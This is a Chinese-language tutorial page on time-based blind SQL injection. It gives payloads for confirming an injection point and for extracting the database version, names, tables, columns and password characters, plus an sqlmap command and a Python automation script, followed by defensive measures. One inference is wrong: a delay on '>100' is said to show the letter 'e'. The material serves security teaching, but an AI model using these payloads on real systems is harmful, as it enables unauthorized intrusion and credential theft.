SQL注入之时间盲注攻击流程详解
目录
一、时间盲注原理
二、完整攻击流程
1. 注入点确认
2. 基础条件判断
3. 系统信息收集
(1)获取数据库版本
(2)获取当前数据库名
4. 数据提取技术
(1)表名枚举
(2)列名猜测
(3)逐字符数据提取
5. 自动化优化技巧
(1)二分法加速判断
(2)多线程爆破
三、工具辅助利用
1. SQLMap自动化注入
2. 手动脚本示例(Python)
四、防御方案
五、时间盲注 vs 报错注入
六、总结
一、时间盲注原理
时间盲注(Time-Based Blind SQL Injection)是SQL注入的高级利用方式,适用于以下场景:
- 页面无数据回显(无显示位)
- 数据库错误信息被屏蔽
- HTTP响应状态码统一(无布尔型注入条件)
核心原理:通过构造带有时间延迟函数的SQL语句,根据页面响应时间判断注入条件是否成立。例如:
' AND IF(1=1, SLEEP(5), 0) --
若页面响应延迟5秒,则说明条件成立(1=1为真)。
二、完整攻击流程
1. 注入点确认
目标:验证是否存在时间盲注漏洞
Payload构造:
' AND SLEEP(5) --
或
' ; WAITFOR DELAY '0:0:5' -- (MSSQL)
判断依据:
- 正常请求响应时间 < 1秒
- 注入后响应时间 ≥ 5秒则存在漏洞
2. 基础条件判断
目标:通过延迟验证布尔条件
示例(MySQL):
' AND IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(3), 0) --
- 若页面延迟3秒,说明当前数据库首字母ASCII码 > 100(即字母为'e',ASCII 101)
- 可逐步调整阈值(二分法)快速定位准确值
3. 系统信息收集
(1)获取数据库版本
' AND IF(ASCII(SUBSTR(@@version,1,1))=53, SLEEP(3),0) --
判断版本首字符是否为'5'(ASCII 53),对应MySQL 5.x版本
(2)获取当前数据库名
' AND IF(ASCII(SUBSTR(database(),1,1))=100, SLEEP(3),0) --
通过逐字符判断(d的ASCII为100),最终拼接得到完整库名
4. 数据提取技术
(1)表名枚举
' AND IF(ASCII(SUBSTR(
(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)
,1,1))=117, SLEEP(3),0) --
验证首个表名的首字母是否为'u'(ASCII 117),即常见users表
(2)列名猜测
' AND IF(ASCII(SUBSTR(
(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)
,1,1))=105, SLEEP(3),0) --
判断users表首列首字母是否为'i'(id列)
(3)逐字符数据提取
' AND IF(ASCII(SUBSTR(
(SELECT password FROM users LIMIT 0,1)
,1,1))=97, SLEEP(3),0) --
判断首行密码首字符是否为'a'(ASCII 97)
5. 自动化优化技巧
(1)二分法加速判断
- 代替逐次遍历(0-255),采用二分法(每次缩小一半范围)
- 例:判断ASCII值是否>128 → 是则范围缩小到128-255
(2)多线程爆破
- 对多个字符位置同时发起请求
- 需注意目标服务器的并发限制
三、工具辅助利用
1. SQLMap自动化注入
sqlmap -u "http://example.com?id=1" --technique=T --time-sec=3
参数说明:
--technique=T
:指定时间盲注技术--time-sec=3
:定义延迟阈值
2. 手动脚本示例(Python)
import requests
import timetarget_url = "http://example.com?id=1"
payload = "' AND IF(ASCII(SUBSTR((SELECT DATABASE()),{},1))>{},SLEEP(3),0) -- "for position in range(1, 20):low = 0high = 255while low <= high:mid = (low + high) // 2current_payload = payload.format(position, mid)start_time = time.time()requests.get(target_url + current_payload)elapsed = time.time() - start_timeif elapsed > 3:low = mid + 1else:high = mid - 1print(f"Position {position}: {chr(high)}")
四、防御方案
-
预编译语句(Prepared Statements)
# Python示例 cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
-
输入过滤
- 白名单验证数字类型:
user_id = int(input_data)
- 过滤特殊字符:
'";<>()&|
等
- 白名单验证数字类型:
-
权限控制
- 数据库账户仅授予最小必要权限
- 禁用敏感函数(如
SLEEP()
、EXEC
)
-
WAF防护
- 部署Web应用防火墙拦截时间盲注特征
- 设置请求超时阈值(如单请求最长处理时间2秒)
五、时间盲注 vs 报错注入
对比项 | 时间盲注 | 报错注入 |
---|---|---|
适用场景 | 无任何回显 | 有错误信息回显 |
攻击速度 | 极慢(需等待延迟) | 较快 |
检测难度 | 更难被传统WAF识别 | 易被基于错误的规则检测 |
典型函数 | SLEEP()、BENCHMARK() | updatexml()、extractvalue() |
数据提取方式 | 逐字符二分法判断 | 直接显示在错误信息中 |
六、总结
时间盲注通过时间延迟作为判断依据,是渗透测试中突破无回显场景的利器。其核心在于:
- 精准的延迟控制:需考虑网络波动干扰
- 高效的字符猜测策略:优先使用二分法
- 自动化脚本辅助:手动测试效率极低
相关文章:
SQL注入之时间盲注攻击流程详解
目录 一、时间盲注原理 二、完整攻击流程 1. 注入点确认 2. 基础条件判断 3. 系统信息收集 (1)获取数据库版本 (2)获取当前数据库名 4. 数据提取技术 (1)表名枚举 (2)列名猜…...
【NIO番外篇】之组件 Selector
目录 一、Selector:网络世界的“机场管制塔” / “总机接线员” 📡什么是 Selector?它的作用是什么? 二、Selector 的工作流程:塔台是怎么指挥飞机的?1. 飞机就位 (准备 Channel):2. 向塔台报到…...
对接印度尼西亚股票数据源API
随着对东南亚市场的关注增加,获取印度尼西亚(IDX)股票市场的实时和历史数据变得尤为重要。本文将指导您如何使用Spring Boot框架对接一个假定的印尼股票数据源API(例如,StockTV),以便开发者能够…...
SQL(9):创建数据库,表,简单
1、创建数据库,一句SQL语句搞定 CREATE DATDBASE 数据库名 CREATE DATABASE my_db;2、创建表 CREATE TABLE 表名(字段名 类型) CREATE TABLE Persons ( PersonID int, LastName varchar(255), FirstName varchar(255), Address varchar(255), City varchar(255)…...
医学成像中的对比语言-图像预训练模型(CLIP):一项综述|文献速递-深度学习医疗AI最新文献
Title 题目 CLIP in medical imaging: A survey 医学成像中的对比语言-图像预训练模型(CLIP):一项综述 01 文献速递介绍 尽管在过去十年中视觉智能领域取得了重大进展(何恺明等人,2016;塔尔瓦宁和瓦尔…...
KEGG注释脚本kofam2kegg.py--脚本010
采用kofam结合kegg官网htxt进行注释 用法: python kofam2kegg.py kofam.out ath00001.keg my_kegg_output code: import sys from collections import defaultdictdef parse_kofam_file(kofam_file):ko_to_genes defaultdict(list)with open(kofam_file) as f:…...
hevc编码芯片学习-VLSI实现
在Fan等工作中,根据特定算法设计了整像素运动估计引擎,最终的BD-Rate损失非常小,但是硬件开销比较大,搜索算法缺少灵活性,本次设计优化了硬件设计架构, 微代码 取像素 压缩 水平参考像素存储器 寻址控制 转…...
选导师原理
总述 一句话总结:是雷一定要避,好的一定要抢。方向契合最好,不契合适当取舍。 首先明确自身需求: 我要学东西!青年导师,好沟通,有冲劲,高压力。 我要摆烂!中老年男性教…...
2.5亿像素卷帘快门CMOS大幅面扫描相机
规格说明书 主要特征 ◎ 卷帘快门CMOS 传感器 ◎ 2.46 亿像素分辨率 ◎ 全分辨率最高帧率达5fps ◎ 高灵敏度及低噪声 ◎ ROI 区域设置 ◎ 曝光时间灵活控制(外触发,自由运行) ◎ 输出像素格式8/10/12bit 可选 ◎ 自动坏像素校正、平场校正…...
CD27.【C++ Dev】类和对象(18)友元和内部类
目录 1.友元 友元函数 几个特点 友元类 格式 代码示例 2.内部类(了解即可) 计算有内部类的类的大小 分析 注意:内部类不能直接定义 内部类是外部类的友元类 3.练习 承接CD21.【C Dev】类和对象(12) 流插入运算符的重载文章 1.友元 友元函数 在CD21.【C Dev】类和…...
企业级硬盘的测试流程
测试硬盘流程 找一个有Linux操作系统的服务器,配置好管理ip的接口,连接上linux服务器,执行lsblk命令来查看设备的情况 使用mkfs命令格式化要测试的硬盘,格式化之前务必把数据进行备份,可以使用blkid命令查看硬盘的文件…...
std::enable_shared_from_this 模板类的作用是什么?
我们以Connection类的shared智能指针为例说明,std::enable_shared_from_this<Connection> 是一个标准库模板类,它的作用是让一个类的对象能够安全地生成指向自身的 std::shared_ptr,即使该对象最初是通过普通指针或其他方式创建的。 作…...
鸿蒙开发-ArkUi控件使用
2.0控件-按钮 2.1.控件-文本框 Text(this.message).fontSize(40) // 设置文本的文字大小.fontWeight(FontWeight.Bolder) // 设置文本的粗细.fontColor(Color.Red) // 设置文本的颜色------------------------------------------------------------------------- //设置边框Tex…...
大数据学习栈记——MongoDB编程
本文介绍NoSQL技术:MongoDB用Java来连接数据库,执行常见的数据库操作,使用环境:IntelliJ IDEA、Ubuntu24.04。 配置Maven 我们需要使用“MongoDB Driver”,所以先打开“MongoDB Java Driver”项目,但是提…...
体系结构论文(六十七):A Machine-Learning-Guided Framework for Fault-Tolerant DNNs
A Machine-Learning-Guided Framework for Fault-Tolerant DNNs DATE 2024 研究动机 深度神经网络(DNN)虽然对某些扰动具有天然的容错性,但在面对硬件故障(如软错误、老化、环境干扰等)时,仍会出现输出错…...
qt designer 创建窗体选择哪种屏幕大小
1. 新建窗体时选择QVGA还是VGA 下面这个图展示了区别 这里我还是选择默认,因为没有特殊需求,只是在PC端使用...
游戏引擎学习第225天
只能说太难了 回顾当前的进度 我们正在进行一个完整游戏的开发,并在直播中同步推进。上周我们刚刚完成了过场动画系统的初步实现,把开场动画基本拼接完成,整体效果非常流畅。看到动画顺利呈现,令人十分满意,整个系统…...
sql工具怎么选最适合自己的?
sql工具怎么选? 为什么大多数主流工具又贵又难用?有没有一款免费好用的sql工具?像大多数朋友经常用的sql工具应该都遇到过这种情况,用着用着收到了来自品牌方的律师函,或者处理数据时经常卡死,再或者不支持…...
css实现一键换肤
实现一键换肤的时候,我们除了动态替换引用的css文件,还可以通过使用css变量的方式,达到所需效果。 首先我们来了解css变量,css变量以--开头,引用时va(--变量名),例 :root{--default-color: #fff; } .box{b…...
波束形成(BF)从算法仿真到工程源码实现-第八节-波束图
一、概述 本节对MVDR、LCMV、LMS等算法的波束图进行仿真。 二、MVDR代码仿真 2.1 mvdr代码 clc; clear; M 18; % 天线数 lambda 10; d lambda / 2; L 100; %快拍数 thetas [10]; % 期望信号入射角度 thetai [-30 30]; % 干扰入射角度 n [0:M-1]; vs exp(-1j * 2…...
静态代码深度扫描详解
静态代码深度扫描是一种通过分析源代码结构、语法、语义及潜在逻辑,在不运行程序的情况下全面检测代码缺陷、安全漏洞和质量问题的技术。它通过结合数据流分析、控制流分析、符号执行等高级技术,实现对代码的深度理解,帮助开发团队在早期发现…...
LC25. K 个一组翻转链表(自己用)
25. K 个一组翻转链表 Java代码: 思路:利用虚拟头节点结合反转链表实现 Code: class Solution {public ListNode reverseKGroup(ListNode head, int k) {ListNode dummy new ListNode(0);if (head null || k 1)return head;ListNode…...
Spring事务同步器在金融系统中的应用:从风控计算到交易投递
一句话总结 通过 TransactionSynchronization 机制,成功将投行交易系统的可靠性提升至金融级要求,并在对公贷款风控中实现高效资源管理。未来,事务管理将不仅仅是“提交”与“回滚”的二元选择,而是向智能化、实时化演进的核心基础设施。 1. 架构设计 1.1 整体架构图 2.…...
sealos跳转到cusor安装出错
第一次打开cursor安装出错怎么办 我出现这个问题的解决方式是重新下载并且切换目录解决...
【CUDA 】第3章 CUDA执行模型——3.5循环展开(1)
CUDA C编程笔记 第三章 CUDA执行模型3.5 循环展开3.5.1 展开的规约 待解决的问题: 第三章 CUDA执行模型 3.5 循环展开 循环展开是一种循环优化的技术,通过减少分支出现频率循环维护指令。 循环主体代码被多次编写,任何封闭的循环可以把迭代…...
AndroidStudio编译报错 Duplicate class kotlin
具体的编译报错信息如下: Duplicate class kotlin.collections.jdk8.CollectionsJDK8Kt found in modules kotlin-stdlib-1.8.10 (org.jetbrains.kotlin:kotlin-stdlib:1.8.10) and kotlin-stdlib-jdk8-1.6.21 (org.jetbrains.kotlin:kotlin-stdlib-jdk8:1.6.21) D…...
LeetCode hot 100—搜索二维矩阵
题目 给你一个满足下述两条属性的 m x n 整数矩阵: 每行中的整数从左到右按非严格递增顺序排列。每行的第一个整数大于前一行的最后一个整数。 给你一个整数 target ,如果 target 在矩阵中,返回 true ;否则,返回 fa…...
栈与队列习题分享(精写)
最小栈 题解 一、题目描述 设计一个支持 push ,pop ,top 操作,并能在常数时间内检索到最小元素的栈。 实现 MinStack 类: MinStack() 初始化堆栈对象。 void push(int val) 将元素 val 推入堆栈。 void pop() 删除堆栈顶部的元素。 int…...
Kotlin 集合过滤全指南:all、any、filter 及高级用法
在 Kotlin 中,集合过滤是数据处理的核心操作之一。无论是简单的条件筛选,还是复杂的多条件组合,Kotlin 都提供了丰富的 API。本文将详细介绍 filter、all、any、none 等操作符的用法,并展示如何在实际开发中灵活运用它们。 1. 基础…...
【lerobot】3-开源SO-100 主从臂的舵机位置校正、遥控操作(ubuntu系统)
官方从零教程:https://github.com/huggingface/lerobot/blob/main/examples/10_use_so100.md 8-lerobot aloha装配完毕如何进行遥操作 需要先完成的 组装好了so-100 2个机械臂下载安装了lerobot的代码环境:固定好主从臂,通过usb链接到同一个…...
影刀RPA证书题库包含初级、中级、高级和AP初级
影刀rpa初级证书选择题答案,影刀证书答案,影刀rpa考试,影刀初级考试,影刀初级考试选择题 原因 以前的在线题库https://exam.ezrpa.store/是为了方便更新题目和使用的,但经过实际使用发现大部分人“不会用”࿱…...
LR(0)
LR0就是当我处在自动机为红色这些结束状态的时候,这些红色状态就代表我们识别到了一个句柄,那现在的问题就是识别到了句柄,那要不要对他进行归约?LR0就是我不管当前指针指向的终结符是什么,我都拿它做规约 这里的二号状…...
基于 Python 和 OpenCV 技术的疲劳驾驶检测系统(2.0 全新升级,附源码)
大家好,我是徐师兄,一个有着7年大厂经验的程序员,也是一名热衷于分享干货的技术爱好者。平时我在 CSDN、掘金、华为云、阿里云和 InfoQ 等平台分享我的心得体会。 🍅文末获取源码联系🍅 2025年最全的计算机软件毕业设计…...
Matplotlib库详解
Matplotlib 是 Python 里一个特别常用的绘图库,它能帮你创建各种各样的可视化图形,像折线图、柱状图、散点图等。对于数据可视化、数据分析和科学研究而言,它是非常重要的工具。接下来我会以初学者的视角,为你详细介绍 Matplotlib…...
daz dForce to UE 的原理分析
dForce是物理模拟,不是关键帧动画: dForce是一个物理引擎。当你运行模拟时,Daz Studio会根据你设置的物理属性(如裙子的重量、布料的硬度、摩擦力)、环境因素(如重力、风力)以及与角色的碰撞&am…...
速卖通商品详情API接口:功能、应用与开发指南
前言 在全球跨境电商蓬勃发展的背景下,速卖通(AliExpress)作为阿里巴巴旗下的国际电商平台,凭借丰富的商品种类和庞大的用户群体,成为众多商家和开发者拓展海外市场的首选平台。为了满足商家和开发者对商品数据的深度…...
4月14日星期一今日早报简报微语报早读
4月14日星期一,农历三月十七,早报#微语早读。 1、全国田径大奖赛接力摘金,苏炳添的传奇将延续至全运会; 2、中国红基会:2024年全年总收支12.85亿元; 3、我国2025年电影总票房已突破250亿 位居全球第一&a…...
快速排序(非递归版本)
引言 在排序算法的世界里,快速排序以其高效的性能脱颖而出。它采用分治法的思想,通过选择基准元素将数组分为两部分,递归地对左右两部分进行排序。然而,递归实现的快速排序在处理大规模数据时可能会导致栈溢出的问题。为了解决这…...
Ubuntu20.04 设置开机自启
参考: Ubuntu20.04 设置开机自启_ubuntu进bos系统-CSDN博客...
添加登录和注册功能
先写前端再写后端 前提:ideavue3mybatisspringBoot3前后端分离实现对一张表的增删改查(完整代码版)-CSDN博客 项目地址 1.添加一个Login.vue视图 <template><div class"login_container"><div class"login…...
弱口令爆破
1.简单介绍 弱口令是指一些简单易猜的密码,可通过社工方式和一些爆破工具进行破解,以下介绍一款爆破工具的用法。burpsuite简称BP,一款可以利用字典破解账户密码的工具。 2.部署网站 可以使用PHPstudy的Apache服务,也可以使用I…...
springboot调用python文件,在ubuntu上部署,踩坑之旅(已部署成功)
项目介绍 springboot 调用python文件,python调用另一个数据文件,然后计算出结果,看似简单,实际上有很多坑,因为涉及到python的三方库,有时候下载不下来,有时候版本不匹配,折腾了好久…...
Android studio消息同步机制:消息本地存储,服务器交互减压
文章目录 后端(Flask)代码前端(Android Studio Java)代码 消息同步机制: 手机端可以将消息存储在本地数据库中,减少与服务器的交互压力。同时,通过序列号机制,手机端可以与服务器同步消息&#…...
前端常用组件库全览与推荐
📌 一、组件库生态全景图 🚀 二、React 生态组件库推荐 名称简介官网Ant Design阿里出品,企业级 UI 系统,设计规范完整,适合后台系统https://ant.designMaterial UIGoogle Material Design 实现,样式响应式…...
视觉算法+雾炮联动:开创智能降尘新时代
在许多工业环境中,尤其是那些涉及大量物料搬运和处理的地方,如工厂或仓库,扬尘问题是一个普遍存在的挑战。这不仅影响了工作人员的工作条件,还可能构成健康和安全隐患。为了改善这一状况,不少业主采用了物理方法来减少…...
【Pandas】pandas DataFrame items
Pandas2.2 DataFrame Indexing, iteration 方法描述DataFrame.head([n])用于返回 DataFrame 的前几行DataFrame.at快速访问和修改 DataFrame 中单个值的方法DataFrame.iat快速访问和修改 DataFrame 中单个值的方法DataFrame.loc用于基于标签(行标签和列标签&#…...
易境通WMS系统代理仓解决方案:让代理仓管理无后顾之忧!
易境通WMS系统代理仓解决方案:让代理仓管理无后顾之忧! 对于海外仓企业而言,除了自有仓库外,为了业务发展还会同时代理其他仓库,于是经常会面临主仓代理仓数据同步问题及费用问题。此外,由于个仓库分布较广…...
【智驾中的大模型 -2】VLM 在自动驾驶中的应用
1. 前言 随着端到端 AI 和多模态学习的迅猛发展,VLM(视觉-语言模型)在自动驾驶领域中的应用正逐渐成为一个备受瞩目的重要研究方向。VLM 凭借其强大的融合能力,将视觉(如高清晰度的摄像头图像、精准的雷达数据&#x…...
L1-104 九宫格
L1-104 九宫格 - 团体程序设计天梯赛-练习集 九宫格是一款数字游戏,传说起源于河图洛书,现代数学中称之为三阶幻方。游戏规则是:将一个 99 的正方形区域划分为 9 个 33 的正方形宫位,要求 1 到 9 这九个数字中的每个数字在每一行…...
图像预处理(OpenCV)-part2
4 边缘填充 为什么要填充边缘呢?我们以下图为例。 原图旋转后的图 可以看到,左图在逆时针旋转45度之后原图的四个顶点在右图中已经看不到了,同时,右图的四个顶点区域其实是什么都没有的,因此我们需要对空出来的区域进…...